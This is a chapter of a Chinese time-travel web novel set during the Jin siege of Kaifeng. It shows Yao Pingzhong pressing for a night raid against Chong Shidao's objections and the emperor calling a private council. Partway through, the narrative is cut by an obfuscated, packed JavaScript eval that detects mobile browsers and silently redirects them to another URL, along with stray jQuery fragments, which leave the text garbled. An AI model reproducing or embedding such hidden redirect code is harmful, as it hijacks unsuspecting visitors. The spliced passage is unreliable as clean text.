22.汴京破围(二十二)

作品:《我靠三国抽卡拯救大宋

    而这三天里,最焦躁的人,莫过于姚平仲。


    他看着各路兵马都在行动,要么扼守渡口,要么袭扰金营,要么伏击粮队,都立了战功。


    只有他,带着一万精锐守在万胜门,天天只能练兵守城,一点仗都打不上,心里的火越攒越旺。


    这三天里,他连着三次,亲自跑到城北的宣抚司帅帐求见种师道,请战出击。


    第一次,种师道以“金军防备严密,不可妄动”驳回了。


    第二次,种师道说“再等等,等金军军心再涣散一些,再寻战机”,又驳回了。


    第三次,姚平仲直接拍了桌子,跟种师道吵了起来,说他胆小怕事,贻误战机,放着立功的机会不抓,非要干等着。


    可种师道依旧不为所动,只是冷着脸,再次重申:“无宣抚司将令,不得擅自出战,违令者按军法处置!”


    直接把姚平仲赶出了帅帐。


    姚平仲从帅帐里出来,气得浑身发抖,一脚踹在了路边的石头上,石头直接被踹得粉碎。


    真是老糊涂了!胆小如鼠!


    现在金军粮草被断,军心涣散,正是出击的好时候!他倒好,就知道干等着,等金军自己跑了,还有什么战功可立?


    等种师道下令,黄花菜都凉了!不行,种师道不敢打,他自己打!


    他姚平仲千里迢迢带兵来勤王,不是来城里干坐着的!


    他要夜袭金营,生擒完颜宗望,立下不世之功!到时候看谁还敢小看他姚平仲!


    姚平仲咬着牙,眼里闪过一丝决绝。


    他已经下定了决心,要亲自带兵夜袭金营,一战定乾坤!


    ……


    早朝。


    开封皇宫,垂拱殿。


    这天的早朝,气氛从一开始就透着一股火药味。


    姚平仲作为勤王军主将,一进殿,就直接站到了殿中央,当着满朝文武的面,对着御座上的赵桓单膝跪地,高声请战。


    这一下,直接把整个朝堂都炸了。


    “陛下!末将姚平仲,有本启奏!”


    姚平仲的声音洪亮,震得整个大殿都嗡嗡作响,他抬起头,看着御座上的赵桓,眼里满是急切和悍勇,朗声道。


    “如今金军孤军深入,粮草被断,军心涣散,逃兵日增,已是强弩之末!正是我军大举出击,大破金军的绝佳时机!”


    “末将愿率本部一万精锐,今夜就夜袭金营,直捣完颜宗望的中军大帐,生擒完颜宗望献于阙下!不必久围耗粮,一战便可定乾坤!请陛下恩准!”


    这话一出,整个垂拱殿瞬间炸开了锅。


    跟姚平仲一起来的西军少壮派将领,立刻出列附和:“陛下!姚将军所言极是!金军已是强弩之末,正是破敌之时!臣等愿随姚将军一起,夜袭金营,大破金军!”


    “对!陛下!不能再等了!再等下去,金军缓过劲来,或者援军到了,就错失良机了!”


    武将们群情激奋,一个个摩拳擦掌,恨不得立刻就带兵冲出去,跟金人拼命。


    而站在最前面的种师道,脸色瞬间沉了下来。


    他没想到,姚平仲竟然敢直接在朝堂上,当着陛下和满朝文武的面请战夜袭,直接把他这个宣抚使给绕过去了!


    种师道立刻往前迈了一步,对着赵桓躬身拱手,语气沉稳,却带着不容置疑的坚决,厉声反对。


    “陛下!万万不可!姚将军此计太过冒险,绝不可行!”


    他转过身,目光凌厉地扫过姚平仲,一字一句道:“姚将军,金军虽粮草不济,军心有所涣散,可主力仍在,六万百战精锐,营寨布设滴水不漏,防备极其严密!夜袭乃是孤注一掷,一旦中了金军的埋伏,就是全军覆没的下场!”


    “更何况,我军已占合围之势,只需稳守半月,金军必粮尽撤军,届时我军于黄河半渡之际全线追击,可万无一失,全歼金军!为何要放着万全之策不用,非要去冒这九死一生的险?!”


    “一旦夜袭失利,我军军心必乱,之前所有的部署全都前功尽弃!这个后果你承担得起吗?!”


    种师道的话,掷地有声,句句都戳中了要害。


    姚平仲却不服气,猛地站起身,梗着脖子反驳道:“老将军!打仗哪有不冒险的?!当年霍去病率八百轻骑,直捣匈奴王庭,封狼居胥,靠的就是出奇制胜!如今金军防备松懈,军心涣散,正是出奇兵的好时候!”


    “你说金军防备严密,可这三天,高将军连续三次伏击金军粮队,次次得手,金军连反应都反应不过来,何来防备严密一说?!”


    “你说要稳守半月,可半月之后,金军西路军完颜宗翰的大军要是到了,两路金军会师,我们就再也没有机会了!到时候,谁承担得起这个后果?!”


    两人当庭吵了起来,一个要速战,一个要缓守,针锋相对,互不相让。


    殿内的文武百官,也瞬间分成了两派,吵成了一团。


    少壮派武将纷纷支持姚平仲,觉得应该趁现在金军虚弱主动出击,不能再等了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17466332|201026||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    而老成持重的文臣和老将,则纷纷支持种师道,觉得应该稳扎稳打,用万全之策,不能冒这么大的险,万一输了,就满盘皆输了。


    李纲站在朝列里,眉头紧锁,脸色凝重。


    他心里其实也很矛盾。


    从本心来说,他是主战的,也觉得现在是出击的好机会,姚平仲的提议不是没有道理。


    可种师道说的也没错,夜袭风险太大,一旦失利,后果不堪设想。


    李纲沉吟了片刻,上前一步,对着赵桓躬身拱手,语气谨慎道:“陛下,臣以为夜袭之计可行,却不可孤军冒进。若要出击,需周密部署,多路兵马配合,佯攻两翼,主力接应,就算夜袭不顺,也能全军而退,不至于全军覆没。绝不可让姚将军孤军深入,冒此奇险。”


    他的态度很明确,不反对夜袭,但必须有万全的部署。


    赵桓坐在御座上,看着底下吵成一团的众人,觉得有些头疼。


    历史上姚平仲当庭请战,宋钦宗首鼠两端,既没反对,也没做周密部署,瞒着种师道,偷偷同意了姚平仲的劫营计划。


    结果消息提前泄露,金军早有防备,姚平仲中了埋伏,全军覆没,只身逃走。


    然后投降派趁机反扑,说李纲和种师道逼姚平仲出战,损兵折将,宋钦宗直接把两人罢了官,跟金人议和,自毁长城,直接把大宋的活路给断了!


    现在,这个坑摆在了他面前。


    他不能直接拒绝,打击姚平仲的抗金积极性,也不能放任他孤军冒进,重蹈正史的覆辙。


    必须想个万全之策,既给他机会,又把风险降到最低,还要堵死投降派反扑的路!


    他心里飞速地盘算着,抬手猛地一拍御案,厉声喝道:“都给朕住口!”


    一声怒喝,整个垂拱殿瞬间安静了下来,吵得面红耳赤的众人全都闭上了嘴,齐刷刷地看向御座上的赵桓。


    赵桓的目光扫过殿内的众人,沉声道:“战与不战,如何战,朕自有决断。此事关系重大,不是当庭吵一架就能定的。散朝之后,种师道、李纲、姚平仲、高畅,随朕入福宁殿,密议此事。其余众卿各归其职,不得妄议,不得散布谣言,违令者,以离间军心论罪斩!”


    姚平仲闻言,眼里瞬间亮了起来,觉得陛下这是动心了,同意他的夜袭计划了。


    种师道却皱起了眉头,心里隐隐有些不安,却也只能躬身应道:“臣遵旨。”


    满朝文武也纷纷躬身领命,没人再敢多说一句话。